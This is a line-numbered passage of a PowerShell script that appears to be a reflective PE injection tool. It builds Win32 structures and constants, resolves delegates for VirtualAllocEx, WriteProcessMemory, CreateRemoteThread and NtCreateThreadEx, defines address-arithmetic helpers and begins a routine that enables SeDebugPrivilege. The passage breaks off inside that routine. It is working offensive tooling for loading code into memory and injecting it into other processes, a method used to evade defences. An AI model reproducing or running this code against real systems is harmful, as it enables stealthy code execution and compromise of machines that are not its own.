  364.         $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null
  365.         $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null
  366.         $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()
  367.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY
  368.        
  369.         #Struct LUID
  370.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  371.         $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
  372.         $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
  373.         $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
  374.         $LUID = $TypeBuilder.CreateType()
  375.         $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID
  376.        
  377.         #Struct LUID_AND_ATTRIBUTES
  378.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  379.         $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)
  380.         $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null
  381.         $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
  382.         $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
  383.         $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES
  384.        
  385.         #Struct TOKEN_PRIVILEGES
  386.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  387.         $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)
  388.         $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
  389.         $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null
  390.         $TOKEN_PRIVILEGES = $TypeBuilder.CreateType()
  391.         $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES
  392.  
  393.         return $Win32Types
  394.     }
  395.  
  396.     Function Get-Win32Constants
  397.     {
  398.         $Win32Constants = New-Object System.Object
  399.        
  400.         $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000
  401.         $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000
  402.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01
  403.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02
  404.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04
  405.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08
  406.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10
  407.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20
  408.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40
  409.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80
  410.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200
  411.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0
  412.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3
  413.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10
  414.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000
  415.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000
  416.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000
  417.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000
  418.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000
  419.         $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000
  420.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002
  421.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000
  422.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40
  423.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100
  424.         $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000
  425.         $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008
  426.         $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020
  427.         $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2
  428.         $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0
  429.        
  430.         return $Win32Constants
  431.     }
  432.  
  433.     Function Get-Win32Functions
  434.     {
  435.         $Win32Functions = New-Object System.Object
  436.        
  437.         $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
  438.         $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
  439.         $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
  440.         $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc
  441.        
  442.         $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
  443.         $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
  444.         $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
  445.         $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx
  446.        
  447.         $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy
  448.         $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])
  449.         $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate)
  450.         $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy
  451.        
  452.         $memsetAddr = Get-ProcAddress msvcrt.dll memset
  453.         $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
  454.         $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)
  455.         $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset
  456.        
  457.         $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
  458.         $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
  459.         $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
  460.         $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary
  461.        
  462.         $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
  463.         $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
  464.         $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
  465.         $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress
  466.        
  467.         $GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress #This is still GetProcAddress, but instead of PowerShell converting the string to a pointer, you must do it yourself
  468.         $GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])
  469.         $GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate)
  470.         $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr
  471.        
  472.         $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
  473.         $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
  474.         $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
  475.         $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree
  476.        
  477.         $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
  478.         $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])
  479.         $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
  480.         $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx
  481.        
  482.         $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
  483.         $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
  484.         $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)
  485.         $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect
  486.        
  487.         $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
  488.         $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
  489.         $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
  490.         $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
  491.        
  492.         $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
  493.         $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool])
  494.         $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
  495.         $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary
  496.        
  497.         $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
  498.         $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
  499.         $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
  500.         $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess
  501.        
  502.         $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
  503.         $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32])
  504.         $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
  505.         $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject
  506.        
  507.         $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
  508.         $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
  509.         $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
  510.         $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory
  511.        
  512.         $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory
  513.         $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
  514.         $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate)
  515.         $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory
  516.        
  517.         $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
  518.         $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
  519.         $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
  520.         $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread
  521.        
  522.         $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread
  523.         $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool])
  524.         $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate)
  525.         $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread
  526.        
  527.         $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken
  528.         $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])
  529.         $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate)
  530.         $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken
  531.        
  532.         $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread
  533.         $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])
  534.         $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate)
  535.         $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread
  536.        
  537.         $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges
  538.         $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool])
  539.         $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate)
  540.         $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges
  541.        
  542.         $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA
  543.         $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool])
  544.         $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate)
  545.         $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue
  546.        
  547.         $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf
  548.         $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool])
  549.         $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
  550.         $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf
  551.        
  552.         # NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP
  553.         if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) {
  554.             $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
  555.             $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
  556.             $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
  557.             $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
  558.         }
  559.        
  560.         $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
  561.         $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
  562.         $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
  563.         $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process
  564.        
  565.         $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread
  566.         $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr])
  567.         $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
  568.         $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread
  569.        
  570.         return $Win32Functions
  571.     }
  572.     #####################################
  573.  
  574.            
  575.     #####################################
  576.     ###########    HELPERS   ############
  577.     #####################################
  578.  
  579.     #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function
  580.     #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses
  581.     Function Sub-SignedIntAsUnsigned
  582.     {
  583.         Param(
  584.         [Parameter(Position = 0, Mandatory = $true)]
  585.         [Int64]
  586.         $Value1,
  587.        
  588.         [Parameter(Position = 1, Mandatory = $true)]
  589.         [Int64]
  590.         $Value2
  591.         )
  592.        
  593.         [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
  594.         [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
  595.         [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
  596.  
  597.         if ($Value1Bytes.Count -eq $Value2Bytes.Count)
  598.         {
  599.             $CarryOver = 0
  600.             for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
  601.             {
  602.                 $Val = $Value1Bytes[$i] - $CarryOver
  603.                 #Sub bytes
  604.                 if ($Val -lt $Value2Bytes[$i])
  605.                 {
  606.                     $Val += 256
  607.                     $CarryOver = 1
  608.                 }
  609.                 else
  610.                 {
  611.                     $CarryOver = 0
  612.                 }
  613.                
  614.                
  615.                 [UInt16]$Sum = $Val - $Value2Bytes[$i]
  616.  
  617.                 $FinalBytes[$i] = $Sum -band 0x00FF
  618.             }
  619.         }
  620.         else
  621.         {
  622.             Throw "Cannot subtract bytearrays of different sizes"
  623.         }
  624.        
  625.         return [BitConverter]::ToInt64($FinalBytes, 0)
  626.     }
  627.    
  628.  
  629.     Function Add-SignedIntAsUnsigned
  630.     {
  631.         Param(
  632.         [Parameter(Position = 0, Mandatory = $true)]
  633.         [Int64]
  634.         $Value1,
  635.        
  636.         [Parameter(Position = 1, Mandatory = $true)]
  637.         [Int64]
  638.         $Value2
  639.         )
  640.        
  641.         [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
  642.         [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
  643.         [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
  644.  
  645.         if ($Value1Bytes.Count -eq $Value2Bytes.Count)
  646.         {
  647.             $CarryOver = 0
  648.             for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
  649.             {
  650.                 #Add bytes
  651.                 [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver
  652.  
  653.                 $FinalBytes[$i] = $Sum -band 0x00FF
  654.                
  655.                 if (($Sum -band 0xFF00) -eq 0x100)
  656.                 {
  657.                     $CarryOver = 1
  658.                 }
  659.                 else
  660.                 {
  661.                     $CarryOver = 0
  662.                 }
  663.             }
  664.         }
  665.         else
  666.         {
  667.             Throw "Cannot add bytearrays of different sizes"
  668.         }
  669.        
  670.         return [BitConverter]::ToInt64($FinalBytes, 0)
  671.     }
  672.    
  673.  
  674.     Function Compare-Val1GreaterThanVal2AsUInt
  675.     {
  676.         Param(
  677.         [Parameter(Position = 0, Mandatory = $true)]
  678.         [Int64]
  679.         $Value1,
  680.        
  681.         [Parameter(Position = 1, Mandatory = $true)]
  682.         [Int64]
  683.         $Value2
  684.         )
  685.        
  686.         [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
  687.         [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
  688.  
  689.         if ($Value1Bytes.Count -eq $Value2Bytes.Count)
  690.         {
  691.             for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--)
  692.             {
  693.                 if ($Value1Bytes[$i] -gt $Value2Bytes[$i])
  694.                 {
  695.                     return $true
  696.                 }
  697.                 elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i])
  698.                 {
  699.                     return $false
  700.                 }
  701.             }
  702.         }
  703.         else
  704.         {
  705.             Throw "Cannot compare byte arrays of different size"
  706.         }
  707.        
  708.         return $false
  709.     }
  710.    
  711.  
  712.     Function Convert-UIntToInt
  713.     {
  714.         Param(
  715.         [Parameter(Position = 0, Mandatory = $true)]
  716.         [UInt64]
  717.         $Value
  718.         )
  719.        
  720.         [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value)
  721.         return ([BitConverter]::ToInt64($ValueBytes, 0))
  722.     }
  723.  
  724.  
  725.     Function Get-Hex
  726.     {
  727.         Param(
  728.         [Parameter(Position = 0, Mandatory = $true)]
  729.         $Value #We will determine the type dynamically
  730.         )
  731.  
  732.         $ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2
  733.         $Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value #Passing a IntPtr to this doesn't work well. Cast to Int64 first.
  734.  
  735.         return $Hex
  736.     }
  737.    
  738.    
  739.     Function Test-MemoryRangeValid
  740.     {
  741.         Param(
  742.         [Parameter(Position = 0, Mandatory = $true)]
  743.         [String]
  744.         $DebugString,
  745.        
  746.         [Parameter(Position = 1, Mandatory = $true)]
  747.         [System.Object]
  748.         $PEInfo,
  749.        
  750.         [Parameter(Position = 2, Mandatory = $true)]
  751.         [IntPtr]
  752.         $StartAddress,
  753.        
  754.         [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
  755.         [IntPtr]
  756.         $Size
  757.         )
  758.        
  759.         [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
  760.        
  761.         $PEEndAddress = $PEInfo.EndAddress
  762.        
  763.         if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true)
  764.         {
  765.             Throw "Trying to write to memory smaller than allocated address range. $DebugString"
  766.         }
  767.         if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true)
  768.         {
  769.             Throw "Trying to write to memory greater than allocated address range. $DebugString"
  770.         }
  771.     }
  772.    
  773.    
  774.     Function Write-BytesToMemory
  775.     {
  776.         Param(
  777.             [Parameter(Position=0, Mandatory = $true)]
  778.             [Byte[]]
  779.             $Bytes,
  780.            
  781.             [Parameter(Position=1, Mandatory = $true)]
  782.             [IntPtr]
  783.             $MemoryAddress
  784.         )
  785.    
  786.         for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++)
  787.         {
  788.             [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset])
  789.         }
  790.     }
  791.    
  792.  
  793.     #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
  794.     Function Get-DelegateType
  795.     {
  796.         Param
  797.         (
  798.             [OutputType([Type])]
  799.            
  800.             [Parameter( Position = 0)]
  801.             [Type[]]
  802.             $Parameters = (New-Object Type[](0)),
  803.            
  804.             [Parameter( Position = 1 )]
  805.             [Type]
  806.             $ReturnType = [Void]
  807.         )
  808.  
  809.         $Domain = [AppDomain]::CurrentDomain
  810.         $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
  811.         $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
  812.         $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
  813.         $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
  814.         $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
  815.         $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
  816.         $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
  817.         $MethodBuilder.SetImplementationFlags('Runtime, Managed')
  818.        
  819.         Write-Output $TypeBuilder.CreateType()
  820.     }
  821.  
  822.  
  823.     #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
  824.     Function Get-ProcAddress
  825.     {
  826.         Param
  827.         (
  828.             [OutputType([IntPtr])]
  829.        
  830.             [Parameter( Position = 0, Mandatory = $True )]
  831.             [String]
  832.             $Module,
  833.            
  834.             [Parameter( Position = 1, Mandatory = $True )]
  835.             [String]
  836.             $Procedure
  837.         )
  838.  
  839.         # Get a reference to System.dll in the GAC
  840.         $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
  841.             Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
  842.         $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
  843.         # Get a reference to the GetModuleHandle and GetProcAddress methods
  844.         $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
  845.         $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
  846.         # Get a handle to the module specified
  847.         $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
  848.         $tmpPtr = New-Object IntPtr
  849.         $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
  850.  
  851.         # Return the address of the function
  852.         Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
  853.     }
  854.    
  855.    
  856.     Function Enable-SeDebugPrivilege
  857.     {
  858.         Param(
  859.         [Parameter(Position = 1, Mandatory = $true)]
  860.         [System.Object]
  861.         $Win32Functions,
  862.        
  863.         [Parameter(Position = 2, Mandatory = $true)]
  864.         [System.Object]
  865.         $Win32Types,
  866.        
  867.         [Parameter(Position = 3, Mandatory = $true)]
  868.         [System.Object]
  869.         $Win32Constants
  870.         )
  871.        
  872.         [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke()
  873.         if ($ThreadHandle -eq [IntPtr]::Zero)
  874.         {
  875.             Throw "Unable to get the handle to the current thread"
  876.         }
  877.        
  878.         [IntPtr]$ThreadToken = [IntPtr]::Zero
  879.         [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
  880.         if ($Result -eq $false)
  881.         {
  882.             $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
  883.             if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)
  884.             {
  885.                 $Result = $Win32Functions.ImpersonateSelf.Invoke(3)
  886.                 if ($Result -eq $false)
  887.                 {
  888.                     Throw "Unable to impersonate self"
  889.                 }
  890.                
  891.                 $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
  892.                 if ($Result -eq $false)
  893.                 {
  894.                     Throw "Unable to OpenThreadToken."
  895.                 }
  896.             }
  897.             else
  898.             {
  899.                 Throw "Unable to OpenThreadToken. Error code: $ErrorCode"
  900.             }
  901.         }
  902.        
  903.         [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID))
  904.         $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid)
  905.         if ($Result -eq $false)
